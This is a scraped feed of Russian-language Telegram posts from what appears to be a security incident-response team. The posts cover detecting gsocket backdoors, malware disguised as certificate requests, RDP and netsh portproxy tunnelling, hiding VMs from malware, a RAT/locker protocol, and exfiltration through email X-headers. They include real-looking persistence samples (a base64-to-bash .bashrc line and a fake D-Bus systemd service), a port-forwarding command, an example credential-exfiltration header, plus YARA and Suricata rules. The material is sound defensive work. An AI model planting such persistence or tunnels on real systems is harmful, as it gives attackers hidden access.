Gsocket: как найти один из самых популярных инструментов 🙂
В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.
Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.
🔦 Для обнаружения признаков установки инструмента можно искать следующее:
1️⃣ Сервис с именем D-Bus System Connection Bus:
Пример:
2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:
👀 Пример (service-файл):
👀 Пример (.bashrc):
📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.
📃 Рекомендации по дальнейшим действиям:
1️⃣ Заблокировать адреса управляющих серверов;
2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;
3️⃣ Перезагрузить скомпрометированный хост;
4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).
#DFIR #detect #hacktool #tips #linux
@ptescalator
В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.
Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.
1️⃣ Сервис с именем D-Bus System Connection Bus:
systemctl | grep "D\-Bus System Connection Bus"
Пример:
EVILSERVICE.service loaded active running D-Bus System Connection Bus
2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:
'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel'
egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /
👀 Пример (service-файл):
Description=D-Bus System Connection Bus
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"
[Install]
WantedBy=multi-user.target
👀 Пример (.bashrc):
# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
....
📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.
📃 Рекомендации по дальнейшим действиям:
1️⃣ Заблокировать адреса управляющих серверов;
2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;
3️⃣ Перезагрузить скомпрометированный хост;
4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).
#DFIR #detect #hacktool #tips #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22🔥6❤4
Везде говорят: учите базу! А как ее потом использовать?
Например, вот так👇
1. Base64 — алгоритм кодирования, с помощью которого можно закодировать любые данные в виде последовательности букв английского алфавита, цифр и пары спецсимволов. Часто используется для передачи бинарных данных там, где поддерживается только текст. Или для «обфускации».
А еще это легальная возможность в PowerShell передавать код на выполнение через командную строку (очень удобно, если не хочется мучиться с экранированием специальных символов).
2. Запрос на создание сертификата (CSR) — обычно файл, содержащий открытый ключ пользователя и некоторую дополнительную информацию, описывающую владельца ключа.
Запрос на создание сертификата может выглядеть примерно так:
Похожим образом выглядят сертификаты, ключи и другие подобные данные. Варианты заголовков описаны в RFC 7468.
3. Размер файла, содержащего сертификат открытого ключа, закрытый ключ или запрос на создание сертификата, в основном зависит от длины ключа.
Сейчас актуальной является рекомендация по длине ключа — минимум 2048 бит. Встречаются ключи длиной 3072, 4096 бит. Можно представить себе, что где-то может использоваться и ключ длиной 8192 бита. И это справедливо для алгоритма RSA. Для алгоритма ECDSA, используемого все чаще, длины ключей на порядок меньше, приемлемой считается длина всего в 384 бита.
И теперь, когда ты вспомнил базу, ты можешь легко и просто понять, что файл, который на первый взгляд содержит запрос на создание сертификата, но при этом имеет размер около 7 мегабайт 😱, не может не вызывать подозрений.
#tips
@ptescalator
Например, вот так
1. Base64 — алгоритм кодирования, с помощью которого можно закодировать любые данные в виде последовательности букв английского алфавита, цифр и пары спецсимволов. Часто используется для передачи бинарных данных там, где поддерживается только текст. Или для «обфускации».
А еще это легальная возможность в PowerShell передавать код на выполнение через командную строку (очень удобно, если не хочется мучиться с экранированием специальных символов).
2. Запрос на создание сертификата (CSR) — обычно файл, содержащий открытый ключ пользователя и некоторую дополнительную информацию, описывающую владельца ключа.
Запрос на создание сертификата может выглядеть примерно так:
----BEGIN NEW CERTIFICATE REQUEST-----
тут что-то, закодированное в Base64
-----END NEW CERTIFICATE REQUEST-----
Похожим образом выглядят сертификаты, ключи и другие подобные данные. Варианты заголовков описаны в RFC 7468.
3. Размер файла, содержащего сертификат открытого ключа, закрытый ключ или запрос на создание сертификата, в основном зависит от длины ключа.
Сейчас актуальной является рекомендация по длине ключа — минимум 2048 бит. Встречаются ключи длиной 3072, 4096 бит. Можно представить себе, что где-то может использоваться и ключ длиной 8192 бита. И это справедливо для алгоритма RSA. Для алгоритма ECDSA, используемого все чаще, длины ключей на порядок меньше, приемлемой считается длина всего в 384 бита.
И теперь, когда ты вспомнил базу, ты можешь легко и просто понять, что файл, который на первый взгляд содержит запрос на создание сертификата, но при этом имеет размер около 7 мегабайт 😱, не может не вызывать подозрений.
#tips
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥9❤4
К примеру, недавно к нам в SOC попало очередное подозрительно письмо. И мы сразу поняли, что CSR-файл, притаившийся внутри, — совсем не то, чем пытается казаться 👇
А когда мы заглянули внутрь содержимого этого файла, то сразу заметили, что среди вроде бы хаотичного нагромождения букв, то тут, то там попадаются однотипные строки IDAw, и их там очень много (скриншот 1).
Кажется, Вселенная подает нам какой-то знак 😀.
В чем же тут дело?
Отгадка проста: оказывается, хакеры решили спрятать под видом запроса на сертификат не просто бинарь с малварью, а его HEX-дамп. А так как HEX-дамп исполняемого файла содержит много пробелов и нулей, то и в кодированном виде получается большое число последовательностей IDAw (скриншот 2).
Выводы:
1. Учите и применяйте базу.
2. Обращайте внимание на знаки.
3. Автоматизируйте выявление по известным признакам, если можете 👇
P.S.
Идея для YARA-правила, которое может помочь в выявлении таких подозрительных «запросов на создание сертификатов»:
P.P.S
О других способах выявления случаев, когда хакеры маскируют вредоносные файлы под сертификаты, можно почитать в блоге NVISO.
#tips #yara #phishing
@ptescalator
$ file notarealname.csr
notarealname.csr: RFC1421 Security Certificate Signing Request, ASCII text, with CRLF, CR line terminators
$ ls -lh notarealname.csr
-rwxrwxrwx 1 user user 7.3M Sep 26 17:35 notarealname.csr
А когда мы заглянули внутрь содержимого этого файла, то сразу заметили, что среди вроде бы хаотичного нагромождения букв, то тут, то там попадаются однотипные строки IDAw, и их там очень много (скриншот 1).
Кажется, Вселенная подает нам какой-то знак 😀.
В чем же тут дело?
Отгадка проста: оказывается, хакеры решили спрятать под видом запроса на сертификат не просто бинарь с малварью, а его HEX-дамп. А так как HEX-дамп исполняемого файла содержит много пробелов и нулей, то и в кодированном виде получается большое число последовательностей IDAw (скриншот 2).
Выводы:
1. Учите и применяйте базу.
2. Обращайте внимание на знаки.
3. Автоматизируйте выявление по известным признакам, если можете 👇
P.S.
Идея для YARA-правила, которое может помочь в выявлении таких подозрительных «запросов на создание сертификатов»:
rule SuspCertificateRequest {
strings:
$begin_1 = "-----BEGIN NEW CERTIFICATE REQUEST-----"
$end_1 = "-----END NEW CERTIFICATE REQUEST-----"
$begin_2 = "-----BEGIN CERTIFICATE REQUEST-----"
$end_2 = "-----END CERTIFICATE REQUEST-----"
condition:
(@end_1[1]-@begin_1[1] > 10240) or (@end_2[1]-@begin_2[1] > 10240)
}
P.P.S
О других способах выявления случаев, когда хакеры маскируют вредоносные файлы под сертификаты, можно почитать в блоге NVISO.
#tips #yara #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍11❤5🥰3
А как вы называете IoCs? 🍵
Anonymous Poll
30%
Индикаторы 👀
2%
Звоночки 😲
11%
Айокс 👌
1%
Сигналы тревоги 🚨
2%
Крошки 🤏
50%
Иоки 🙂 🙂 🙂
0%
Маркеры угроз 😡
1%
Ситушки 😮
1%
Знаки компрометации 🤨
2%
Хвосты 😎
❤6😁3👍1👏1🤡1👀1
Как пройти в интернет 🚶♂️
Что делают хакеры, когда интересующий их сегмент сети не имеет доступа в интернет, а подключиться к C2 очень хочется? Правильно: ищут хосты, которые смотрят в разные подсети, и пытаются пробросить каналы управления через них. Если атакуемая инфраструктура сильно сегментирована, такой канал может проходить через много узлов и принимать причудливые формы.
В одном из недавних кейсов хакеры использовали два метода для проброса канала, условно назовем их «простой» и «сложный».
🤯 Начнем со «сложного»
Злоумышленники обнаружили хост, через который был возможен доступ из одной подсети в другую. Но был нюанс: попасть на этот хост можно было только через RDP (remote desktop — удаленный рабочий стол).
Хакеры нашли решение. На прослушивание порта
Настоящую службу RDP хакеры перевесили со стандартного порта
Присутствие такой утилиты на хосте выдают (помимо, собственно, наличия исполняемого файла на файловой системе) следующие признаки:
1️⃣ Изменение порта RDP на нестандартный (проверить порт можно в свойствах системы или с помощью команды
2️⃣ Какой-то «левый» процесс слушает порт
3️⃣ Подключения пользователей по RDP в такой схеме отображаются как исходящие от localhost. На практике мы видели только IP-адрес
Но имейте в виду, что поменять порт RDP мог админ, а подключения с локалхоста могут говорить и о других вещах, например о наличии туннелей 🙂
💆♂️ В чем тогда заключался «простой» способ?
В этом варианте злоумышленники для проксирования трафика использовали функциональность Windows под названием Port Proxy.
В самом простом варианте этот инструмент позволяет создать простой маппинг «откуда пришел пакет — куда его отправить». Проще всего показать это на примере:
После выполнения этой команды хост начинает слушать порт
Этот метод хорош тем, что не нужно использовать стороннее ПО. Основное ограничение метода заключается в том, что маппинг статичен, то есть позволяет организовать только жестко заданное перенаправление пакетов.
🕵️♀️ Как обнаружить использование такого способа
1️⃣ Детектировать запуск команды netsh interface portproxy add (например, в событиях
Детект в MaxPatrol SIEM:
2️⃣ По наличию в реестре ключей в ветке [
Детект в MaxPatrol SIEM:
3️⃣ По появлению подозрительных слушающих портов или сетевых подключений у службы
👉 Кстати, в том кейсе злоумышленники умудрились с помощью portproxy построить цепочку длиной в четыре хопа, причем на каждом этапе в проксируемый порт также перенаправлялся трафик от «закладок» на хостах внутри сегмента. Получилось целое «дерево», «корни» которого уходили на сервер C2 в интернете.
Happy hunting!
#Hunt #C2 #Detect #DFIR #SIEM
@ptescalator
Что делают хакеры, когда интересующий их сегмент сети не имеет доступа в интернет, а подключиться к C2 очень хочется? Правильно: ищут хосты, которые смотрят в разные подсети, и пытаются пробросить каналы управления через них. Если атакуемая инфраструктура сильно сегментирована, такой канал может проходить через много узлов и принимать причудливые формы.
В одном из недавних кейсов хакеры использовали два метода для проброса канала, условно назовем их «простой» и «сложный».
Злоумышленники обнаружили хост, через который был возможен доступ из одной подсети в другую. Но был нюанс: попасть на этот хост можно было только через RDP (remote desktop — удаленный рабочий стол).
Хакеры нашли решение. На прослушивание порта
3389 они повесили своеобразный сплиттер трафика: настоящий трафик RDP перенаправлялся на порт 33389, а весь остальной трафик на порт 3389 проксировался дальше внутрь соседней подсети. Принадлежность пакета к RDP определялась по первым трем байтам — они должны быть равны 03 00 00.Настоящую службу RDP хакеры перевесили со стандартного порта
3389 на порт 33389. Таким образом, злоумышленники получили возможность передавать трафик между сегментами, при этом подключающиеся по RDP пользователи не видели никакой разницы.Присутствие такой утилиты на хосте выдают (помимо, собственно, наличия исполняемого файла на файловой системе) следующие признаки:
1️⃣ Изменение порта RDP на нестандартный (проверить порт можно в свойствах системы или с помощью команды
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber").2️⃣ Какой-то «левый» процесс слушает порт
3389.3️⃣ Подключения пользователей по RDP в такой схеме отображаются как исходящие от localhost. На практике мы видели только IP-адрес
127.0.0.1, но не стоит забывать о том, что вообще-то таких адресов целая подсеть, а еще есть варианты вроде ::1 или даже ::%16777216.Но имейте в виду, что поменять порт RDP мог админ, а подключения с локалхоста могут говорить и о других вещах, например о наличии туннелей 🙂
В этом варианте злоумышленники для проксирования трафика использовали функциональность Windows под названием Port Proxy.
В самом простом варианте этот инструмент позволяет создать простой маппинг «откуда пришел пакет — куда его отправить». Проще всего показать это на примере:
netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp
После выполнения этой команды хост начинает слушать порт
7000, а входящие TCP-соединения перенаправляет на example.com:443. Более подробно про эти функции можно почитать в документации Microsoft. Этот метод хорош тем, что не нужно использовать стороннее ПО. Основное ограничение метода заключается в том, что маппинг статичен, то есть позволяет организовать только жестко заданное перенаправление пакетов.
🕵️♀️ Как обнаружить использование такого способа
1️⃣ Детектировать запуск команды netsh interface portproxy add (например, в событиях
Sysmon 1 или Security 4688).Детект в MaxPatrol SIEM:
Execute_Malicious_Command2️⃣ По наличию в реестре ключей в ветке [
HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\].Детект в MaxPatrol SIEM:
Port_Forwarding_or_Tunneling3️⃣ По появлению подозрительных слушающих портов или сетевых подключений у службы
IpHelper (процесс C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc).👉 Кстати, в том кейсе злоумышленники умудрились с помощью portproxy построить цепочку длиной в четыре хопа, причем на каждом этапе в проксируемый порт также перенаправлялся трафик от «закладок» на хостах внутри сегмента. Получилось целое «дерево», «корни» которого уходили на сервер C2 в интернете.
Happy hunting!
#Hunt #C2 #Detect #DFIR #SIEM
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍27✍9👾7🔥2👌1
Способы маскирования виртуальной среды 😷
В процессе анализа ВПО вы можете столкнуться с образцами, которые не будут полноценно работать в виртуальной среде. Все дело в том, что в них реализованы специальные механизмы, которые проверяют окружение, в котором работает образец.
Обнаружив, что он запущен в виртуальной среде, вредонос может либо прекращать свою работу, либо прикидываться легитимным ПО.
😂 Однако такие образцы можно попытаться обмануть — «убедить» их в том, что они запускаются на физическом устройстве.
Для этого нам понадобится всего одна правильно настроенная виртуальная машина (ВМ), которая будет скрывать свою виртуальную природу. Рассмотрим пару способов такой настройки.
Способ 1️⃣
Первый способ — публично доступный
Согласно документации к этому инструменту, добавляем в файл .vmx следующие свойства:
Если при запуске ВМ MAC-адрес поменялся на сгенерированный VMware, отредактируйте его прямо в GUI.
Далее нужно запустить в настроенной ВМ установочный скрипт
Если этот вариант не отработал, есть еще один.
Способ 2️⃣
Он более сложный, но и более надежный. Подход тот же — настройка ВМ, но в этом случае необходимо также пропатчить BIOS.
Требуется выполнить следующие шаги:
1. При создании новой ВМ не рекомендуется сразу выбирать установочный ISO-файл, иначе активируется
2. Чтобы сделать подставную ОС «достойной» жертвой вредоноса, необходимо выделить не менее 128 ГБ дискового пространства.
3. В
4. В параметрах настройки оборудования обязательно установите флажок
5. Как и в первом случае, поменяйте MAC-адрес на любой, кроме типичных для VMware
6. Затем добавьте установочный ISO-файл. Не забудьте про vmtools — их не нужно устанавливать.
7. После этого необходимо пропатчить BIOS ROM.
VMware BIOS ROM содержит строки, относящиеся к VMware и виртуализации. Их нужно убрать и заменить на какие-нибудь свои. Файл BIOS ROM находится в папке
При этом следует редактировать файл специальным инструментом —
После этого нужно собрать пропатченный BIOS через
8. В папке, где хранится ВМ, нужно найти файл .vmx. Заносим в него путь до пропатченного файла BIOS ROM:
Готово. Можно запускать виртуальную ОС. Теперь вредонос не поймет, что работает на ВМ, и отработает так, как должен.
#tips #malware
@ptescalator
В процессе анализа ВПО вы можете столкнуться с образцами, которые не будут полноценно работать в виртуальной среде. Все дело в том, что в них реализованы специальные механизмы, которые проверяют окружение, в котором работает образец.
Обнаружив, что он запущен в виртуальной среде, вредонос может либо прекращать свою работу, либо прикидываться легитимным ПО.
Для этого нам понадобится всего одна правильно настроенная виртуальная машина (ВМ), которая будет скрывать свою виртуальную природу. Рассмотрим пару способов такой настройки.
Способ 1️⃣
Первый способ — публично доступный
VmwareHardenedLoader. Требуется отредактировать файл .vmx и поменять MAC-адрес виртуальной машины на любой, не начинающийся с 00:05:69, 00:50:56, 00:1C:14, 00:0С:29.Согласно документации к этому инструменту, добавляем в файл .vmx следующие свойства:
hypervisor.cpuid.v0 = "FALSE"
board-id.reflectHost = "TRUE"
hw.model.reflectHost = "TRUE"
serialNumber.reflectHost = "TRUE"
isolation.tools.getPtrLocation.disable = "TRUE"
isolation.tools.setPtrLocation.disable = "TRUE"
isolation.tools.setVersion.disable = "TRUE"
isolation.tools.getVersion.disable = "TRUE"
monitor_control.disable_directexec = "TRUE"
monitor_control.disable_chksimd = "TRUE"
monitor_control.disable_ntreloc = "TRUE"
monitor_control.disable_selfmod = "TRUE"
monitor_control.disable_reloc = "TRUE"
monitor_control.disable_btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable_btpriv = "TRUE"
monitor_control.disable_btseg = "TRUE"
monitor_control.restrict_backdoor = "TRUE"
smbios.reflectHost = "TRUE"
SMBIOS.noOEMStrings = "TRUE"
scsi0:0.productID = "Your value"
scsi0:0.vendorID = "Your value"
ethernet0.address = "new mac address"
Если при запуске ВМ MAC-адрес поменялся на сгенерированный VMware, отредактируйте его прямо в GUI.
Далее нужно запустить в настроенной ВМ установочный скрипт
install.bat с привилегиями администратора. После этого можно начинать отладку. Теперь ВМ не должна быть видна образцу ВПО. Важно помнить, что устанавливать vmtools не следует. Если этот вариант не отработал, есть еще один.
Способ 2️⃣
Он более сложный, но и более надежный. Подход тот же — настройка ВМ, но в этом случае необходимо также пропатчить BIOS.
Требуется выполнить следующие шаги:
1. При создании новой ВМ не рекомендуется сразу выбирать установочный ISO-файл, иначе активируется
Windows Easy Install, который установит vmtools. 2. Чтобы сделать подставную ОС «достойной» жертвой вредоноса, необходимо выделить не менее 128 ГБ дискового пространства.
3. В
Firmware Type выберите BIOS.4. В параметрах настройки оборудования обязательно установите флажок
Virtualize Intel VT-x/EPT or AMD-V/RVI5. Как и в первом случае, поменяйте MAC-адрес на любой, кроме типичных для VMware
6. Затем добавьте установочный ISO-файл. Не забудьте про vmtools — их не нужно устанавливать.
7. После этого необходимо пропатчить BIOS ROM.
VMware BIOS ROM содержит строки, относящиеся к VMware и виртуализации. Их нужно убрать и заменить на какие-нибудь свои. Файл BIOS ROM находится в папке
C:\Program Files (x86)\VMware\VMware Workstation\x64. При этом следует редактировать файл специальным инструментом —
Phoenix BIOS Editor, чтобы не поменять внутренние чек-суммы файла. Откройте файл в редакторе, найдите окно с DMI Strings и поменяйте значения так, чтобы они не содержали «VMware» или «Virtual Platform».После этого нужно собрать пропатченный BIOS через
File → Build BIOS и где-нибудь сохранить его, не удаляя исходный.8. В папке, где хранится ВМ, нужно найти файл .vmx. Заносим в него путь до пропатченного файла BIOS ROM:
bios440.filename = "D:\<path_to_your_bios_file>\BIOS.440.PATCH.ROM", а также те же настройки, что и в способе 1, за исключением последних четырех строк.Готово. Можно запускать виртуальную ОС. Теперь вредонос не поймет, что работает на ВМ, и отработает так, как должен.
#tips #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👍8❤4👏1🤡1
Slam screen locker. Что ты такое? ☹️
На очереди — fast malware analysis, проведенный одним воскресным вечером.
В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).
В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.
🏃♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.
Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.
• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);
• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);
• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);
• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).
И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.
😃 Самые неприятные и интересные пакости
Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.
Команда: textts*<text_to_speek>.
Действие: text to speech.
Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.
Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.
Команда: BSOD#.
Действие: вызвать синий экран смерти.
А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:
IOCs
Happy hunting!
#Hunt #C2 #Tips #IOC #detect #malware #network #suricata
@ptescalator
На очереди — fast malware analysis, проведенный одним воскресным вечером.
В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).
В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.
🏃♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.
Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.
• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);
• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);
• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);
• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).
И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.
Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.
Команда: textts*<text_to_speek>.
Действие: text to speech.
Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.
Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.
Команда: BSOD#.
Действие: вызвать синий экран смерти.
А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8<>17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8<>17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)
IOCs
SHA-256: e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b
C2: 77.231.153.42
Happy hunting!
#Hunt #C2 #Tips #IOC #detect #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍9👌5❤1
📫 X-фильтрация данных пользователя
В процессе анализа почтового трафика мы периодически сталкиваемся с реализацией необычных вредоносных техник. Сегодня хочется рассказать про то, как злоумышленники эксфильтруют полезные данные через X-заголовки писем электронной почты.
В электронных письмах, помимо обязательных заголовков, таких как
Каждый сервис и организация может выставлять свои X-заголовки без явных ограничений, поэтому их количество на данный момент можно исчислять тысячами. Описать и понять содержимое каждого из них — невероятно сложная задача. Этим и пользуются злоумышленники. Они создают собственные X-заголовки и помещают в них закодированные полезные данные, которые надо эксфильтровать.
😠 Например, заголовки такого «необычного» письма могут выглядеть следующим образом:
Как видите, в X-заголовках множество разных типов информации: числа, строки, что-то вроде булевых значений, закодированные последовательности и так далее.
Среди них сложно найти тот заголовок, который явно несет угрозу. В данном случае «плохим» оказался заголовок
😑 Чтобы не вызывать подозрений у систем защиты почты, злоумышленники также снабжают письмо максимально безобидным текстом, не добавляя при этом подозрительных составляющих по типу html-частей и вложений.
Таким образом получается крайне удобный и скрытый способ эксфильтрации данных для злоумышленников. Такая техника зачастую используется при корпоративном шпионаже, когда инсайдер имеет законный доступ к системам электронной почты. Он может встраивать полезные данные в заголовки, отправляя их под видом обычного делового письма.
Стоит отметить, что у данного способа есть одно основное ограничение — это передача только небольших объемов данных. То есть это хорошо подойдет для эксфильтрации ключей шифрования, учетных данных и тому подобного.
Однако, если злоумышленник попытается передавать таким способом большие блоки данных (например, файлы), то это будет сильно заметно на фоне всего почтового трафика.
😱 Что делать:
1. Внедрить методы анализа содержимого заголовков писем. Лучше всего — c использованием DLP системы.
2. Обращать внимание на необычные X-заголовки в исходящих письмах. Сделать это можно, например, посчитав статистику упоминания таких заголовков за определенный период, где самые неупоминаемые — самые подозрительные.
3. Следить за потоками писем с одинаковым контентом, отправляемых на один адрес.
#Detect #Tip
@ptescalator
В процессе анализа почтового трафика мы периодически сталкиваемся с реализацией необычных вредоносных техник. Сегодня хочется рассказать про то, как злоумышленники эксфильтруют полезные данные через X-заголовки писем электронной почты.
В электронных письмах, помимо обязательных заголовков, таких как
From, Date и т. п., встречаются заголовки с префиксом X. Они несут в себе дополнительную информацию, например сведения о работе почтовых защитных механизмов, служебные идентификаторы, различные метаданные об отправителе.Каждый сервис и организация может выставлять свои X-заголовки без явных ограничений, поэтому их количество на данный момент можно исчислять тысячами. Описать и понять содержимое каждого из них — невероятно сложная задача. Этим и пользуются злоумышленники. Они создают собственные X-заголовки и помещают в них закодированные полезные данные, которые надо эксфильтровать.
Received: from SB1P221MB1152.NAMP221.PROD.OUTLOOK.COM
(3613:10b6:806:388::20) by BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM with
HTTPS; Thu, 20 Mar 2024 21:28:15 +0000
...
From: John Doe <[email protected]>
To: John Goe <[email protected]>
Subject: New Test
Date: Thu, 20 Mar 2024 21:28:15 +0000
Accept-Language: en-US
Content-Language: en-US
X-Ms-Exchange-Organization-Authmechanism: 04
X-Ms-Exchange-Organization-Authsource: BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM
X-Ms-Has-Attach: yes
...
X-Entity-ID: WABIHdrtPzUrGNbwVwoPTQ==
X-Trusted-Header: c2VjcmV0X2xvZ2luOnNlY3JldF9wYXNzd29yZA==
X-Ms-Exchange-Organization-Scl: -1
Как видите, в X-заголовках множество разных типов информации: числа, строки, что-то вроде булевых значений, закодированные последовательности и так далее.
Среди них сложно найти тот заголовок, который явно несет угрозу. В данном случае «плохим» оказался заголовок
X-Trusted-Header (в нем лежат учетные данные пользователя), который по контенту абсолютно сравним с легитимным X-Entity-ID.😑 Чтобы не вызывать подозрений у систем защиты почты, злоумышленники также снабжают письмо максимально безобидным текстом, не добавляя при этом подозрительных составляющих по типу html-частей и вложений.
Таким образом получается крайне удобный и скрытый способ эксфильтрации данных для злоумышленников. Такая техника зачастую используется при корпоративном шпионаже, когда инсайдер имеет законный доступ к системам электронной почты. Он может встраивать полезные данные в заголовки, отправляя их под видом обычного делового письма.
Стоит отметить, что у данного способа есть одно основное ограничение — это передача только небольших объемов данных. То есть это хорошо подойдет для эксфильтрации ключей шифрования, учетных данных и тому подобного.
Однако, если злоумышленник попытается передавать таким способом большие блоки данных (например, файлы), то это будет сильно заметно на фоне всего почтового трафика.
😱 Что делать:
1. Внедрить методы анализа содержимого заголовков писем. Лучше всего — c использованием DLP системы.
2. Обращать внимание на необычные X-заголовки в исходящих письмах. Сделать это можно, например, посчитав статистику упоминания таких заголовков за определенный период, где самые неупоминаемые — самые подозрительные.
3. Следить за потоками писем с одинаковым контентом, отправляемых на один адрес.
#Detect #Tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥5👏3
Как вы называете атакующих? 🥷
Anonymous Poll
9%
Hackers 🇬🇧
4%
АПТ 🎯
4%
Кекеры 😃
20%
Хацкеры 👶
2%
Крякеры 🦆
33%
Злоумышленники 😏
3%
Враги 👊
6%
Хахакеры 🤡
13%
Внештатные аудиторы безопасности 😼
7%
Злодеи 😡
😁17🤯5⚡4🔥2👍1👏1
